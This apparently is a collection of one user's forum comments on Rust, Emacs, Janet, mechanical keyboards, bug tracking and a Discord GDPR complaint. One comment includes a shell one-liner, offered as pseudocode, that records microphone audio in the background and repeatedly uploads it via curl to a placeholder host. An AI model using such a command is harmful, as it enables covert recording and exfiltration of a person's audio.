ahungry

Bravo - for these simple things, typing in a GPT prompt or search query is more work than the command.

Even things like "what flags to use with ffmpeg" are a shell reverse-history search away, assuming one has ever used them in the past.

I loved slitaz - got me into linux!

I've been using https://github.com/Malabarba/Nameless for awhile now - it's functionally very similar to the new Emacs shorthands feature.

perl6/rakudo has most the same convenience features, albeit a little less type checking

I've noticed that Rust is in an interesting spot - it has a lot of overlapping appeal with various groups.

- C/C++ developers like it as an alternative for low level languages

- Functional programmers like it because of it's functional features

- "Cargo Culters" / "Hot Language" / "Flavor of the Month" followers like it, as it's in vogue at the moment (this is the crowd that has likely shifted from various web/API scripting languages over the last decade - (php|ruby|python) -> nodejs -> rust)

However, as the article alludes to, for the third crowd, Rust is just likely not a great fit (even if it has a lot of neat features and introduces some great concepts others may not stumble on of their own accord) when your implementation doesn't do much beyond web dev/API/scripting purposes.

Doesn't it show a system tray icon? (I don't use discord on Windows, or a system tray myself) - is a system tray icon not adequate? I believe it would show 24/7 wouldn't it?

Did the users choose to install the Discord app (or run a random command?)

How are you supposed to confirm "user understanding"?

Does the program need to require a tutorial/training before it's being used?

A user's ignorance shouldn't be a software distributor's problem.

If the discord app didn't have a system tray, and hid it's process from the Process List someway, maybe you have a point - this is just ignorance across the board.

Something like:

    nohup arecord /tmp/audio & ; nohup while :; do curl -F'data=/tmp/audio' http://example.com; done & 

Untested pseudocode, but probably close - that's enough for a GDPR violation I guess? That it'd record unimpeded while running in the background, and sending the output elsewhere?

Pretty stupid scenario - sad Discord had locations in that area, because I agree with a lot of other posters, it seems to just be a weaponized law for monetary gain.

This was a trend in the early 2010s on a lot of Clojure projects

I believe homoiconicity is more related to the syntax than the underlying implementation - fans of homoiconic code use it to treat code as data (macros and eval) rather than to reason about performance concerns/having a transparency into the underlying implementation (see: Clojure).

lol

Well stated.

Nice tip!

love this

Wrap the entire script in {}, otherwise a change to it will impact running instances (best case, causing an abrupt error).

Sometimes the infrastructure causes this. For a long time (and now?) AWS Api Gateway has a hard cap of 30 seconds, so the sum of all hops along the way need to remain under that.

yup, thats the appeal - in a multi language environment a common call, not having to futz with cargo run, npm run start, python3 -m something, etc

Compiles/transpiles into code that runs on a "host" language execution environment (nodejs, JVM, CLR) instead of it's own VM implementation, or native code.

It'd be nice if someone on the Snowflake team actually maintained their JS adapter... (https://github.com/snowflakedb/snowflake-connector-nodejs/pu...)

I wrote similar here: https://github.com/ahungry/janet-pobox although it probably needs updates to work with 1.18 and above.

In libjanet you can use a C call like janet_panic() that'll "panic" and throw an exception/error up in the active Janet runtime (so when something bad/unexpected happens in your C code you are providing an API to from Janet, you'd use this).

True, so more clicky than not clicky at all would put any clicky one in the "more clicky" category (blue/green/???) :)

The silver speed ones on this kraken keyboard aren't bad, but definitely take some getting used to (even resting idle fingers, I sometimes press the keys by mistake).

As noted on the article - looking for recommendations of nice 60% keyboards in the $100'ish price point range as well.

Something a little more clicky than brown switches, but perhaps not as much as a Unicomp, and in the 60% form factor.

I was really tempted to go into some pro-FP suggestions (in particular, about reducing some of the duplicity via compositional functions), but wanted to keep it to just the over-abstraction/if/else complexity topic.

Haha, good catch, I'm going to blame that on typing while tired

That makes sense if it was just a list of ingredients with an identical process in every recipe (in which case the ingredients are simply data) - it may not have been super clear in the article alone, but there was a difference in process between the peanut butter and the oatmeal raisin (think for instance, how many times the .add() was called between the two), which would mean the recipe is acting more like code.

Configuration as code can definitely work and make some things more clear (at least, until the point an edge-case has to be added to the core routines to account for a new/custom type of configuration process).

Using a lisp tends to treat code as data, which solves all the problems in one fell swoop.

Glad you enjoyed it!

Right, to the customer it doesn't matter (just like to the developer it doesn't need to matter either - it just means the work needs to be performed).

However, it matters greatly to other observers - if one person or team is highly out of the norm for rate of bugs, it might be indicative of other problems that need to be worked on (lack of testing, peer review, tasks being assigned beyond the working abilities etc.).

Just like the restaurant analogy - the expectation is that bugs shouldn't be happening to begin with, and when they do, it should be "our fault" to remedy them.

Interesting read - to a person working tickets, I think it can be true that there is no useful difference between viewing a task as a bug vs a feature - in either case, its "what needs to change" and performing work to do the change.

However, the big difference to people not handling the ticket (the customer/business + the person(s) who have to deal with bug accountability) - a bug usually represents a failed promise and is quite different from a feature.

If I go to a restaurant and there is a "bug" in my order, I expect it fixed for free, so that in the end I'm getting my original order (with the extra work/time requirement eaten by the side which erred to begin).

If I want to change my order because I don't like the food after all, then that's not a bug, that's a change in requirement/feature request.

Having bucketed priorities (highest/high/medium/low/lowest) is a big failure of Jira / ticketing systems though. They should be a unique set of priorities, with only one single ticket occupying #1 priority, another slightly less one in slot #2 etc.

Swaks is really nice for testing mail related things.